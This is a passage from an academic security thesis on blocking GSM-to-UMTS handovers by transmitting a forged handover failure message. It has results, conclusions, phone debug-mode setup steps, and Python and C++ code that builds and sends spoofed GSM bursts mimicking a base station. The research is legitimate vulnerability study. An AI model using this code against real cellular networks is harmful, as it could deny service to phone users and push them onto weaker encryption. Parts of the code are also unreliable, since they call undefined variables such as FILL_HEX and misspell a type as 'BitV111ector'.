transmitted a GSM handover failure message after being queued by the reception of a 

handover to UTRAN message, we were unsuccessful at placing the bursts in the correct 

time slots on the uplink SDCCH because of timing issues. The reason for the issues with 

timing stem from (i) inaccuracies when calculating the processing time of the Samsung 

Galaxy S2 phone to receive, process and transfer the handover to UTRAN message to the 

computer and (ii) inconsistences when measuring the processing time within our own 

GSM transmitter code from reception of the handover to UTRAN message to the sending 

of the first packet to the USRP. Since the time delay from reception of a handover to 

UTRAN message on the downlink channel to the arrival of the first handover failure burst 

on the uplink channel is approximately 54 ms, as discussed in Chapter III, we have plenty 

of available processing time. However, the guard period time between GSM TDMA time 

slots is only 8.25 bits, resulting in only 30.4 µs of buffer time before the burst arrives in 

the wrong time slot. Therefore, it is imperative to have accurate time measurements for 

all processes involved in receiving the handover to UTRAN message and transmitting the 

handover failure message bursts. 

First, we looked at the elapsed time between sending the first packet of in-

phase and quadrature phase samples from the computer to the USRP over the Ethernet 

cable. The collection of the elapsed time was modeled by collecting ping times between 

the computer and USRP and dividing the time by two since a ping time equates to the 

round-trip time of a packet, and we only desired the one-way time. A stem plot of a 

thousand collected one-way ping times is shown in Figure 41. The calculated average 

one-way ping time is 0.534 ms. This time delay is easily overcome by sending the 

samples to the USRP prior to the required transmission start time by more than the 

maximum collected one-way ping time of 0.625 ms and appending the desired USRP 

transmission start time to the first Internet protocol (IP) packet sent to the USRP. 
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Figure 41.  Stem plot of one-way ping times from the computer to the USRP over an 
Ethernet cable. 

Next, we collected the elapsed time between our modified GSM 

transmitter code identifying that a handover to UTRAN message was received and the 

first packet of burst samples sent to the USRP. We ran our modified GSM transmitter 

code one hundred times to collect the forementioned elapsed time, and the results are 

displayed in Figure 42. The elapsed times grouped themselves around two different 

times, where the total range of values spans from 566 µs to 950 µs resulting in a time 

difference of 384 µs. Since the span of values is significantly larger than the guard period 

of 30.4 µs, it confirms the need for a separate timing function, as described in Chapter III, 

to maintain the time synchronization between the receiver and transmitter codes 

throughout message processing. 
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Figure 42.  Histogram of elapsed time between receipt of a handover to UTRAN message 
on the computer’s loopback address from a Samsung Galaxy S2 and the 

transfer of the first IP packet containing handover failure burst samples to the 
USRP over an Ethernet cable. 

In this chapter, we demonstrated the capabilities of our GSM transmitter. First, we 

showed that our GSM transmitter is properly encoding and modulating a GSM RR 

message by transmitting all the messages sent over the BCH/CCCH and successfully 

collecting the messages using Airprobe’s GSM-receiver software. Next, we successfully 

demonstrated the transmission and reception of a handover failure message. Finally, we 

modified the GSM transmitter code to transmit a handover failure message after 

receiving a handover to UTRAN message. Though we were unsuccessful at inserting the 

transmitted burst into the correct uplink time slots, initial data collection provides the 

foundation for future time synchronization code development needed between the 

receiver and transmitter processes. 
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VI. CONCLUSIONS 

The integration of GSM and UMTS networks into heterogeneous networks 

provides malicious individuals the potential to deny an unsuspecting user the ability to 

access the UMTS network thereby preventing them from taking advantage of the security 

enhancements incorporated in the UMTS standards. The validation of this potential 

vulnerability requires the creation of a device that can collect and decode a BTS BCH, 

identify the transmission of a handover to UTRAN message, and transmit a handover 

failure message in the correct time slots on the SDDCH uplink channel.  

In this thesis, a GSM transmitter capable of transmitting a GSM RR message 

using a SDR was proposed and experimentally validated. The GSM transmitter we 

created in C++ code takes a LAPDm frame containing a RR message from data bits to 

modulated in-phase and quadrature phase samples ready for transmission by a N210 

USRP. The C++ code we developed first block encodes the LAPDm frame data bits, then 

passes the encoded bits through a ½-rate convolutional encoder, interleaves the 

convolved bits and maps the bits to a normal burst. Once formed into a normal burst, the 

code we created diffentially encodes the burst, converts the burst bits to (  ) symbols, 

convolves the symbols using a Gaussian pulse, resamples the in-phase and quadrature 

phase samples in order to transmit the burst at the N210 USRP sampling rate and type 

converts the samples from C++ type float to type short in preparation for sending the 

samples to the N210 USRP.  

After creating a GSM transmitter capable of transmission of a GSM RR message 

in accordance with the 3GPP GSM standards, we developed and demonstarted a method 

for collecting a handover to UTRAN message that triggers the GSM transmitter to send a 

GSM handover failure message. A Samsung Galaxy S2 phone coupled with xgoldmon 

code was configured to collect the handover to UTRAN message and send the message to 

the computer’s loopback address. PCAP software functions were added to the GSM 

transmitter code in order to listen to the computer’s loopback address and trigger the 

transmission of a handover failure message. 
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Finally, the timing issues involved in collecting a handover to UTRAN message 

by a Samsung Galaxy S2 phone and the transmission of a handover failure message by 

the GSM transmitter we developed were investigated. We collected multiple runs of the 

GSM transmitter code triggered by a handover to UTRAN message and found an 

inconsistency in the code runtime, which confirmed the need for a timing function that 

synchronizes the receiver and transmitter processes. Also, we found the maximum 

transmission time for samples from the GSM transmitter to reach the N210 USRP, which 

must be taken into account to ensure the samples are transmitted by the N210 USRP at 

the correct time. 

A. SIGNIFICANT CONTRIBUTIONS 

Three significant contributions were made in this thesis. First, we proposed a 

potential vulnerability in the handover process from GSM to UMTS caused by the weak 

encryption algorithms employed by the GSM standards. The proposed vulnerability in the 

handover process from GSM to UMTS extends the ideas presented in [4] and [5] by 

giving additional motivation for GSM networks to employ stronger encryption and 

provides the developers of the 3GPP standards a reason to re-evaluate how the GSM and 

UMTS networks interoperate. 

Second, we created open source GSM transmitter computer code that takes the 

data bits from any GSM RR message encapsulated within a LAPDm frame as its input 

and outputs a radio frequency burst in accordance with the 3GPP GSM standards. The 

open source computer code we created to transmit any RR message provides the 

transmitter functionality described in Chapter III, which is vital for the creation of a GSM 

vulnerability testing device. Additionally, the code can be incorporated with any SDR 

provided the SDR can obtain a sample rate of either 273.833 kHz or 400 kHz. 

Finally, we reconfigured our open source GSM transmitter code to start 

transmitting only after being triggered by a message sent from a Samsung Galaxy S2 

phone to the host computer’s loopback address. The integration of the Samsung Galaxy 

S2 phone with the GSM transmitter code provides a concept model of how a GSM 

receiver and GSM transmitter could be integrated to create a GSM vulnerability testing 
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device. This type of integrated device is vital for testing the proposed vulnerability 

discussed in Chapter III and the additional vulnerabilities described in [5] and [14]. 

B. FUTURE WORK 

Even though we provided, in this thesis, an initial step toward the creation of a 

GSM vulnerability testing device and gave the description of a potential vulnerability 

involving handovers between GSM to UMTS networks, additional effort is required to 

fully validate the vulnerability testing device and confirm the weakness of the handover 

to UTRAN procedure. 

In this thesis, we provided C++ computer code to transmit GSM RR message 

bursts in accordance with the 3GPP GSM standards for encoding and modulation. The 

primary limitation of the developed GSM transmitter is its inability to transmit the GSM 

RR message in the correct SDCCH time slot on the uplink channel. The creation of 

computer code to track the start of each burst on the downlink channel and use that 

information to compute the wait time between the end of the last received message burst 

on the SDCCH and the transmission start time for the first transmitted burst on the 

SDCCH uplink channel is needed. 

We also developed a methodology for reliably collecting the handover to UTRAN 

message on the downlink channel and a technique for transmitting a handover failure 

burst on the uplink channel. A limitation of our methodology stems from the device we 

chose to use as our handover to UTRAN message receiver. We used the Samsung Galaxy 

S2 as both our GSM receiver and as our trigger source for the handover failure 

transmitter, which worked reliably in collecting a handover to UTRAN message sent by 

the BTS to the phone but was incapable of collecting a handover to UTRAN message sent 

to any other mobile device on the GSM network. A more robust GSM message receiver 

and queuing source would be Airprobe’s GSM-receiver; however, as discussed in 

Chapter V, source code changes are required in order for Airprobe’s GSM-receiver to 

successfully decode a handover to UTRAN message. If Airprobe’s GSM-receiver code 

were modified to identify the handover to UTRAN message, it would give us the ability to 
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trigger the GSM transmitter to transmit the handover failure burst after any mobile device 

had started transitioning from GSM to UMTS. 

Finally, we presented a potential vulnerability involving handovers between GSM 

to UMTS networks, which draws from previously reported issues in [4], [5] and [14]. 

This potential vulnerability requires further testing and validation. We suggest 

implementation of timing code within the triggered GSM transmitter code developed in 

Chapter V in order to fully realize the handover vulnerability described in Chapter III. 
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APPENDIX A. XGOLDMON 

This appendix contains the setup requirements and execution of the xgoldmon 

code when using a Samsung Galaxy S2 phone. Prior to using the xgoldmon code, the 

Samsung Galaxy S2 phone must first be configured to send all received messages from 

the BTS over the USB to the computer. All the instructions for phone setup and 

xgoldmon code execution originate from the readme file contained within the xgoldmon 

source code [24]. 

The configuration of the Samsung Galaxy S2 is executed in the following three 

steps. The first step involves changing the debugging settings on the phone. These 

changes are accomplished by opening the phone’s call window and typing 

*#*#197328640#*#* into the window, which causes the ServiceMode Main Menu screen 

to open as shown in Figure 43. From the ServiceMode Main Menu, we choose option six, 

common, in order to bring up the ServiceMode Common screen. Finally, we pick option 

two, debug info, which opens the ServiceMode Debug Info screen where we change the 

PCM logging and I2S logging to ON. After changing these two settings, we exit the 

ServiceMode menu. 

The second step requires the changing of the PhoneUtil settings. The PhoneUtil 

menu is initialized by typing *#7284# into the call screen. Then change the UART and 

USB settings in the PhoneUtil menu from PDA to Modem as shown in Figure 44. The 

third step requires changing the Ramdump Mode setting in the SysDump menu, which is 

initialized by typing *#9900# into the call screen. Then we change the Ramdump Mode 

Enabled to High as shown in Figure 44. 
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Figure 43.  Samsung Galaxy S2 debug information settings tutorial where (a) shows the ServiceMode Main Menu screen, (b) displays 
the ServiceMode Common screen, and (c) shows the Service Mode Debug Info screen. 
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Figure 44.  Samsung Galaxy S2 settings tutorial where (a) shows the PhoneUtil screen 
and (b) displays the SysDump screen. 

After configuring the Samsung Galaxy S2 phone to work with the xgoldmon 

code, we connect the phone to the computer using a USB cable, which creates several 

new dev/ttyACM* devices. The /dev/ttyACM* device with the second lowest number is 

the logging port, which we need to know for the proper execution of the xgoldmon code. 

To execute the xgoldmon code, we open a new terminal window and enter the following 

code from the xgoldmon root directory: 

./xgoldmon –t ‘s2’ –l –v /dev/ttyACM* 
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where the asterick after ttyACM is the second lowest number of the new dev/ttyACM 

devices created after plugging the phone into the computer. Finally, open Wireshark 

using a new terminal window and start collecting on the loopback address. 
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APPENDIX B. BURST CREATOR AND GSM TRANSMITTER C++ 
CODE REPLICATING BTS 

This appendix contains the code for transmitting the messages sent over a GSM 

BTS BCH/CCCH. The first code is written in python and titled 

GSM_message_hexadecimal_to_binary.py. This code is used to transition the 

hexadecimal message values collected with the ASCOM TEMS software/hardware into 

binary strings ready for encoding and burst mapping by the 

GSM_Burst_Creator.cpp code. The GSM_Burst_Creator.cpp code takes the 

binary output from the GSM_message_hexadecimal_to_binary.py code and 

encodes, interleaves, and maps the bits onto a GSM normal burst with training sequence 

number one. Finally, the GSM_BTS_Transmitter.cpp C++ code modulates, re-

samples, and transmits the GSM bursts created by the GSM_Burst_Creator.cpp 

code. 

Many of the functions in the GSM_Burst_Creator.cpp and the 

GSM_BTS_Transmitter.cpp C++ codes were originally written in OpenBTS [1]; 

therefore, they require the following OpenBTS C++ source code files for proper 

execution: sigProcLib.cpp, BitVector.cpp, GSMCommon.cpp, and 

Timeval.cpp. The GSM_BTS_Transmitter.cpp code also requires the following 

dependencies when using an Ubuntu Linux load: libboost-all-dev, libusb-1.0–0-dev, 

python-cheetah, doxygen, and python-docutils. Finally, the 

GSM_BTS_Transmitter.cpp code requires installation of Ettus UHD software. 

 

A. GSM_MESSAGE_HEXADECIMAL_TO_BINARY.PY 

#!/usr/bin/env python 
#---------------------------------------------------------------------- 
# Name:        GSM_message_hexadecimal_to_binary 
# Purpose:     Convert a list of hexadecimal to a list of binary values 
# Author:      Carson McAbee 
# Created:     21 JUL 2013 
#---------------------------------------------------------------------- 
# 
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# hex_to_binary function converts a hexadecimal value to binary list. 
# 
def hex_to_binary(input_hex): 
 
    # Convert hexadecimal input values to binary output values 
    input_binary = [] 
    zero = [0,0,0,0] 
    one = [0,0,0,1] 
    two = [0,0,1,0] 
    three = [0,0,1,1] 
    four = [0,1,0,0] 
    five = [0,1,0,1] 
    six = [0,1,1,0] 
    seven = [0,1,1,1] 
    eight = [1,0,0,0] 
    nine = [1,0,0,1] 
    ten = [1,0,1,0] 
    eleven = [1,0,1,1] 
    twelve = [1,1,0,0] 
    thirteen = [1,1,0,1] 
    fourteen = [1,1,1,0] 
    fifteen = [1,1,1,1] 
 
    q = 0 
    while q < len(input_hex): 
        if input_hex[q] == ‘0’ or input_hex[q] == 0: 
            input_binary = input_binary + zero 
        elif input_hex[q] == ‘1’ or input_hex[q] == 1: 
            input_binary = input_binary + one 
        elif input_hex[q] == ‘2’ or input_hex[q] == 2: 
            input_binary = input_binary + two 
        elif input_hex[q] == ‘3’ or input_hex[q] == 3: 
            input_binary = input_binary + three 
        elif input_hex[q] == ‘4’ or input_hex[q] == 4: 
            input_binary = input_binary + four 
        elif input_hex[q] == ‘5’ or input_hex[q] == 5: 
            input_binary = input_binary + five 
        elif input_hex[q] == ‘6’ or input_hex[q] == 6: 
            input_binary = input_binary + six 
        elif input_hex[q] == ‘7’ or input_hex[q] == 7: 
            input_binary = input_binary + seven 
        elif input_hex[q] == ‘8’ or input_hex[q] == 8: 
            input_binary = input_binary + eight 
        elif input_hex[q] == ‘9’ or input_hex[q] == 9: 
            input_binary = input_binary + nine 
        elif input_hex[q] == ‘A’ or input_hex[q] == ‘a’: 
            input_binary = input_binary + ten 
        elif input_hex[q] == ‘B’ or input_hex[q] == ‘b’: 
            input_binary = input_binary + eleven 
        elif input_hex[q] == ‘C’ or input_hex[q] == ‘c’: 
            input_binary = input_binary + twelve 
        elif input_hex[q] == ‘D’ or input_hex[q] == ‘d’: 
            input_binary = input_binary + thirteen 
        elif input_hex[q] == ‘E’ or input_hex[q] == ‘e’: 
            input_binary = input_binary + fourteen 
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        elif input_hex[q] == ‘F’ or input_hex[q] == ‘f’: 
            input_binary = input_binary + fifteen 
        else: 
            input_binary = input_binary 
        q = q + 1 
 
    return(input_binary) 
 
#--------------------------------------------------------------------- 
#      Main Function 
#--------------------------------------------------------------------- 
 
if __name__ == ‘__main__’: 
 
  SYSTEM_INFORMATION_TYPE_1_MESSAGE_HEX =  
[5,5,0,6,1,9,0,2,0,2,0,4,1,0,0,0,1,0,4,0,8,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,4,9,’D’,0,0,0,0,2,’B’] 
 
  SYSTEM_INFORMATION_TYPE_2_MESSAGE_HEX = 
[5,9,0,6,1,’A’,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,4,0,2,9,’D’,0,0,0,0] 
 
  SYSTEM_INFORMATION_TYPE_2QUARTER_MESSAGE_HEX = 
[0,5,0,6,0,7,’C’,0,1,’C’,8,9,0,0,2,1,1,0,3,9,5,4,’A’,1,0,3,9,8,1,4,5,’B
’,6,5,’E’,0,8,6,’C’,’B’,2,’B’,2,’B’,2,’B’] 
 
  SYSTEM_INFORMATION_TYPE_3_MESSAGE_HEX = 
[4,9,0,6,1,’B’,0,1,5,’F’,1,4,’F’,8,0,1,0,8,’B’,1,’C’,8,0,2,0,5,5,’F’,4,
5,0,5,9,’D’,0,0,0,0,3,8,2,’B’,2,’B’,2,’B’] 
 
  SYSTEM_INFORMATION_TYPE_4_MESSAGE_HEX = 
[3,1,0,6,1,’C’,1,4,’F’,8,0,1,0,8,’B’,1,4,5,0,5,9,’D’,0,0,0,0,2,’B’,2,’B
’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’] 
 
  PAGING_REQUEST_HEX = 
[1,5,0,6,2,1,0,0,0,1,’F’,0,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,
’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’] 
 
  CCCH_FILL_HEX = 
[0,1,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,
2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’] 
 
  HANDOVER_FAILURE_MESSAGE_HEX = 
[0,1,0,0,0,’D’,0,6,2,8,6,’F’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,
2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’,2,’B’] 
 
  type_1_binary = hex_to_binary(SYSTEM_INFORMATION_TYPE_1_MESSAGE_HEX) 
  type_2_binary = hex_to_binary(SYSTEM_INFORMATION_TYPE_2_MESSAGE_HEX) 
  type_2quater_binary =  
           hex_to_binary(SYSTEM_INFORMATION_TYPE_2QUARTER_MESSAGE_HEX) 
  type_3_binary = hex_to_binary(SYSTEM_INFORMATION_TYPE_3_MESSAGE_HEX) 
  type_4_binary = hex_to_binary(SYSTEM_INFORMATION_TYPE_4_MESSAGE_HEX) 
  paging_request_binary = hex_to_binary(PAGING_REQUEST_HEX) 
  ccch_fill_binary = hex_to_binary(FILL_HEX) 
  handover_failure_binary = hex_to_binary(HANDOVER_FAILURE_MESSAGE) 
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  type_1_binary_string = ‘‘.join(map(str,type_1_binary)) 
  type_2_binary_string = ‘‘.join(map(str,type_2_binary)) 
  type_2quarter_binary_string = ‘‘.join(map(str,type_2quater_binary)) 
  type_3_binary_string = ‘‘.join(map(str,type_3_binary)) 
  type_4_binary_string = ‘‘.join(map(str,type_4_binary)) 
  paging_request_binary_string =  
                  ‘‘.join(map(str,paging_request_binary)) 
  ccch_fill_binary_string = ‘‘.join(map(str,ccch_fill_binary)) 
  handover_failure_binary_string =  
                     ‘‘.join(map(str,handover_failure_binary)) 
 
# Print binary strings of each message for input into 
GSM_Burst_Creator.cpp 
  print ‘BitVector type_1_burst “‘ 
  print type_1_binary_string 
  print “\n”     
  print ‘BitVector type_2_burst “‘ 
  print type_2_binary_string 
  print “\n” 
  print ‘BitVector type_2quarter_burst “‘ 
  print type_2quarter_binary_string 
  print “\n” 
  print ‘BitVector type_3_burst “‘ 
  print type_3_binary_string 
  print “\n” 
  print ‘BitVector type_4_burst “‘ 
  print type_4_binary_string 
  print len(type_4_binary_string) 
  print “\n” 
  print ‘BitVector paging_request_burst “‘ 
  print paging_request_binary_string 
  print “\n” 
  print ‘BitVector ccch_fill_burst “ ‘ 
  print ccch_fill_binary_string 
  print “\n” 
  print ‘BitVector handover_failure_burst “ ‘ 
  print handover_failure_binary_string 

B. GSM_BURST_CREATOR.CPP 

#include “BitVector.h” 
#include “Vector.h” 
 
/*********************************************************************/ 
/* The functions utilized in this code were derived from the         */ 
/* OpenBTS [1] source code. This code inparticular uses code from    */ 
/* the GSML1FEC.cpp OpenBTS source code.                             */ 
/*                                                                   */ 
/* The Naming convention of the bit vectors used in this code follow */ 
/* the GSM 05.03 Section 2.2 standard [12].                          */ 
/*               d[k] data                                           */ 
/*               u[k] data bits after first encoding step            */ 
/*               c[k] data bits after second encoding step           */ 
/*               i[B][k] interleaved data bits                       */ 
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/*               e[B][k] bits in a burst                             */ 
/*               B is the burst number [0–3]                         */ 
/*               k is the bit location within the array              */ 
/*********************************************************************/ 
int 
main(int argc, char **argv){ 
 
/*****************************************************************/ 
/* Inputs to the code are the binary representation of RR bursts */ 
/* from the python script GSM_message_hexidecimal_to_binary.py   */ 
/*****************************************************************/ 
 
BitV111ector handover_failure_burst = 
“0000000100000000000011010000011000101000011011110010101100101011001010
11001010110010101100101011001010110010101100101011001010110010101100101
0110010101100101011001010110010101100101011”; 
 
BitVector mBurst0(148); 
BitVector mBurst1(148); 
BitVector mBurst2(148); 
BitVector mBurst3(148); 
BitVector Tail_Bits = “000”; 
 
// Using Training Sequence 1 
BitVector Training_Seq = “00101101110111100010110111”; 
BitVector Stealing_Bit = “1”; 
BitVector mT = “0000”; 
 
// Initialize Block Coder (Fire Coder) 
uint64_t wCoefficients = 0x10004820009ULL; 
unsigned wParitySize = 40; 
unsigned wCodewordSize = 224; 
bool invert = true; 
const ViterbiR2O4 mVCoder; 
 
BitVector mI[4]; 
for (int k=0; k<4; k++) { 
  mI[k] = BitVector(114); 
  mI[k].fill(0); 
} 
BitVector mD(handover_failure_burst); 
 
// Bit Ordering 
mD.LSB8MSB(); 
 
// Fire Coder 
Parity mBlockCoder(wCoefficients, wParitySize, wCodewordSize); 
BitVector mP(40); 
mBlockCoder.writeParityWord(mD, mP); 
BitVector mU(mD, mP); 
BitVector mUT(mU, mT); 
 
// Convolution Encoder 
BitVector mC(2*mUT.size()); 
mUT.encode(mVCoder, mC); 
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// Interleaver 
for (int k=0; k<456; k++) { 
  int B = k%4; 
  int j = 2*((49*k) % 57) + ((k%8)/4); 
  mI[B][j] = mC[k]; 
} 
// Burst Mapping 
Tail_Bits.copyToSegment(mBurst0,0); 
mI[0].segment(0,57).copyToSegment(mBurst0,3); 
mI[0].segment(57,57).copyToSegment(mBurst0,88); 
Training_Seq.copyToSegment(mBurst0,61); 
Stealing_Bit.copyToSegment(mBurst0,60); 
Tail_Bits.copyToSegment(mBurst0,145); 
 
Tail_Bits.copyToSegment(mBurst1,0); 
mI[1].segment(0,57).copyToSegment(mBurst1,3); 
mI[1].segment(57,57).copyToSegment(mBurst1,88); 
Training_Seq.copyToSegment(mBurst1,61); 
Stealing_Bit.copyToSegment(mBurst1,60); 
Tail_Bits.copyToSegment(mBurst1,145); 
 
Tail_Bits.copyToSegment(mBurst2,0); 
mI[2].segment(0,57).copyToSegment(mBurst2,3); 
mI[2].segment(57,57).copyToSegment(mBurst2,88); 
Training_Seq.copyToSegment(mBurst2,61); 
Stealing_Bit.copyToSegment(mBurst2,60); 
Tail_Bits.copyToSegment(mBurst2,145); 
 
Tail_Bits.copyToSegment(mBurst3,0); 
mI[3].segment(0,57).copyToSegment(mBurst3,3); 
mI[3].segment(57,57).copyToSegment(mBurst3,88); 
Training_Seq.copyToSegment(mBurst3,61); 
Stealing_Bit.copyToSegment(mBurst3,60); 
Tail_Bits.copyToSegment(mBurst3,145); 
 
// Prints out bursts for later input into GSM transmitter code 
std::cout << “BitVector(“ << mBurst0 << “),” << “// 
Handover_Failure_burst0” << std::endl; 
 
std::cout << “BitVector(“ << mBurst1 << “),” << “// 
Handover_Failure_burst1” << std::endl; 
 
std::cout << “BitVector(“ << mBurst2 << “),” << “// 
Handover_Failure_burst2” << std::endl; 
 
std::cout << “BitVector(“ << mBurst3 << “),” << “// 
Handover_Failure_burst3” << std::endl; 
 
} // end main loop 
 

C. GSM_BTS_TRANSMITTER.CPP 

#include <uhd/utils/thread_priority.hpp> 
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#include <uhd/utils/safe_main.hpp> 
#include <uhd/utils/static.hpp> 
#include <uhd/usrp/multi_usrp.hpp> 
#include <uhd/exception.hpp> 
#include <uhd/stream.hpp> 
#include “sigProcLib.h” 
#include “BitVector.h” 
#include <boost/math/special_functions/round.hpp> 
#include <boost/date_time/posix_time/posix_time.hpp> 
#include <boost/foreach.hpp> 
#include <boost/format.hpp> 
#include <boost/thread.hpp> 
#include <iostream> 
#include <complex> 
#include <csignal> 
#include <algorithm> 
#include <fstream> 
#include <time.h> 
 
/**************************************************************/ 
/*                  TDMA_burst Array                          */ 
/* List of all the types of bursts created by the             */ 
/* GSM_Burst_Creator.cpp code, which are needed for mimicking */ 
/* a GSM BTS BCH.                                             */ 
/**************************************************************/ 
const BitVector  
TDMA_burst[] =  
{ 
BitVector(“000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000”), // Frequency Correction Burst, No. 0 
 
BitVector(“000111110110111011000001010010011100000100100010000000111110
10111000101110001011100010111110100101000110011001110011110100111110001
00101111101010000”), // Dummy Burst, No. 1 
 
BitVector(“000101000000101111101010101000010100000010011011101000100000
10010110111011110001011011100101000000001011111010000000010000000000101
01110100000010000”), // Paging Request Burst0, No. 2 
 
BitVector(“000001011101011111101010100100010101011101111110101000000101
10010110111011110001011011100101010101101110101010100100010101110111111
11010001000000000”), // Paging Request Burst1, No. 3 
 
BitVector(“000000001000111110100010100100010000100011101110100000010100
10010110111011110001011011100010100010111010101010100000000000000011101
01010000000010000”), // Paging Request Burst2, No. 4 
 
BitVector(“000010001001010001111101111010101010000101000111010111101010
10010110111011110001011011101000101101010101010111111010100010010101010
10111001011101000”), // Paging Request Burst3, No. 5 
 
BitVector(“000100100010111111010000100010000101000001000000010100100001
10010110111011110001011011100100111010010101000010000000110011100010000
00111100000001000”), // System Information Type 1 Burst0, No. 6 
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BitVector(“000100001011110101010100010001010101001011010100110010010101
10010110111011110001011011100000101010011100111010100000011100100001110
01010001010110000”), // System Information Type 1 Burst1, No. 7 
 
BitVector(“000000001001110000000011000100001100000101000110101000001000
10010110111011110001011011100000100010110100101000001001000000000000010
00000010100010000”), // System Information Type 1 Burst2, No. 8 
 
BitVector(“000000010001010010100000010001100000000110001010100011100101
10010110111011110001011011101000000111011000100000100100000010100001000
00001001001010000”), // System Information Type 1 Burst3, No. 9 
 
BitVector(“000101100000110001010000100100000100100000000000000000000000
10010110111011110001011011100000100010000101000000100000010000000011000
00010001000000000”), // System Information Type 2 Burst0, No. 10 
 
BitVector(“000100000011010001001000000000010000000000000000101010000001
10010110111011110001011011100000000000000100101000100001001000001100010
11000101100010000”), // System Information Type 2 Burst1, No. 11 
 
BitVector(“000010000101010100100001000101000010001000000000000000000000
10010110111011110001011011100010000001000000001011000000000010000000000
00010010101000000”), // System Information Type 2 Burst2, No. 12 
 
BitVector(“000010010000010010000010000000001010000000000010000001010000
10010110111011110001011011100010100001001000000101000100001011000100001
01011010100001000”), // System Information Type 2 Burst3, No. 13 
 
BitVector(“000100110000111111101111011001010011001011000100001101111001
10010110111011110001011011101100001101100101010001100001100010000110010
11111100110101000”), // System Information Type 2quarter Burst0, No. 14 
 
BitVector(“000001010001010000111000100000001001011111000101100000101011
10010110111011110001011011100001100001011010000001100001101100010111110
10111001011001000”), // System Information Type 2quarter Burst1, No. 15 
 
BitVector(“000001110101100000111110000101101110111000100001000100111100
10010110111011110001011011101010100001111110110010100011110011000000101
11111010100100000”), // System Information Type 2quarter Burst2, No. 16 
 
BitVector(“000010001001000011001101011010100111001111011110000101011011
10010110111011110001011011101100001111010101000100001001111011010010010
01000001100101000”), // System Information Type 2quarter Burst3, No. 17 
 
BitVector(“000101000101111100110111010101011011000100111011011011001000
10010110111011110001011011101111000000000101111011000000000101010110010
10100111000011000”), // System Information Type 3 Burst0, No. 18 
 
BitVector(“000101011110010100101111001111100001010001001111110000000101
10010110111011110001011011101100000001001001011100101000000101111101110
10011111111111000”), // System Information Type 3 Burst1, No. 19 
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BitVector(“000000011000100111100100001011000101100001000101001010011011
10010110111011110001011011101001000010000000110100100011000000001001000
01101010011001000”), // System Information Type 3 Burst2, No. 20 
 
BitVector(“000001001011001001101001010000001100100110011100100101101100
10010110111011110001011011101100001101000001110110011000111110101111110
01000101100101000”), // System Information Type 3 Burst3, No. 21 
 
BitVector(“000101010010100111111010001000010101010000010001101000000000
10010110111011110001011011100000011010100001111100001001100101110000110
01111101010001000”), // System Information Type 4 Burst0, No. 22 
 
BitVector(“000100001101000111111010101101000101110101000010111010101101
10010110111011110001011011100101010111001010111100001000000100011101111
11010001001110000”), // System Information Type 4 Burst1, No. 23 
 
BitVector(“000000101011010110111010100100000000001001001011001000101000
10010110111011110001011011100101100011111111100010110000010010000101111
11010000111000000”), // System Information Type 4 Burst2, No. 24 
 
BitVector(“000000101010000001010111010010111000101110010010010110101011
10010110111011110001011011101000001011000000010100011010100010010000010
01111011100101000”), // System Information Type 4 Burst3, No. 25 
 
BitVector(“000100000010101011101010100001000000000000111110101010000000
10010110111011110001011011100000001010101010101000100001010000101010101
11010101000010000”), // CCCH Fill Burst0, No. 26 
 
BitVector(“000101010111101110101010000101010101110111101010101010000001
10010110111011110001011011100101010111101110100010000001010101111111111
01010000001000000”), // CCCH Fill Burst1, No. 27 
 
BitVector(“000000000010111010101010000100000010101011101010000000010100
10010110111011110001011011100010101010101010101000000000000000101011101
01000000001000000”), // CCCH Fill Burst2, No. 28 
 
BitVector(“000000100000010101111111111010100000000000010101111111101010
10010110111011110001011011101000000101010101011110111010101000000101010
11101101110101000”), // CCCH Fill Burst3, No. 29 
}; 
 
/*******************************************************************/ 
/*                   sync_burst_creator Function                   */ 
/* This function creates synchronization bursts in accordance with */ 
/* the GSM standard 05.03 [12]. This function was derived from the */ 
/* OpenBTS source code file GSML1FEC.cpp [1]                       */ 
/*******************************************************************/ 
 
const BitVector 
sync_burst_creator(uint64_t Frame_Number) 
{ 
  uint64_t sync_Coefficients = 0x0575;   
  unsigned sync_ParitySize = 10; 
  unsigned sync_CodewordSize = 25; 
  const ViterbiR2O4 mVCoder; 



 80

  BitVector mBurst(148); 
  BitVector mtail_bits = “000”; 
  uint64_t BSIC = 17; 
  uint64_t FN = Frame_Number;  
  uint64_t T1 = FN / (26*51); 
  uint64_t T2 = FN % 26; 
  uint64_t T3 = FN % 51; 
  uint64_t T3p = (T3 - 1) / 10; 
  static const BitVector xts(“1011100101100010000001000000111 
                              100101101010001010111011000011011”); 
  xts.copyToSegment(mBurst, 42); 
  BitVector mU(25+10+4); 
  mU.fillField(35,0,4); 
  BitVector mE(78); 
  BitVector mD(mU.head(25)); 
  BitVector mP(mU.segment(25,10)); 
  size_t wp_0  = 0; 
  mD.writeField(wp_0, BSIC, 6); 
//size_t wp_6 = 6; 
  mD.writeField(wp_0, T1, 11); 
//size_t wp_17 = 17; 
  mD.writeField(wp_0, T2, 5); 
//size_t wp_22 = 22; 
  mD.writeField(wp_0, T3p, 3); 
  mD.LSB8MSB(); 
 
// Calculate 10 Parity Bits 
  Parity mBlockCoder(sync_Coefficients, sync_ParitySize, 
sync_CodewordSize); 
  mBlockCoder.writeParityWord(mD, mP); 
 
// Convolution Encoder 
  mU.encode(mVCoder, mE); 
  BitVector mE1(mE.segment(0,39)); 
  BitVector mE2(mE.segment(39,39));  
  mtail_bits.copyToSegment(mBurst,0); 
  mE1.copyToSegment(mBurst,3); 
  mE2.copyToSegment(mBurst,106); 
 
  return mBurst; 
} 
 
/********************************************************************/ 
/*                      init_resampler Function                     */ 
/* This function initializes resampling signal vectors and was      */ 
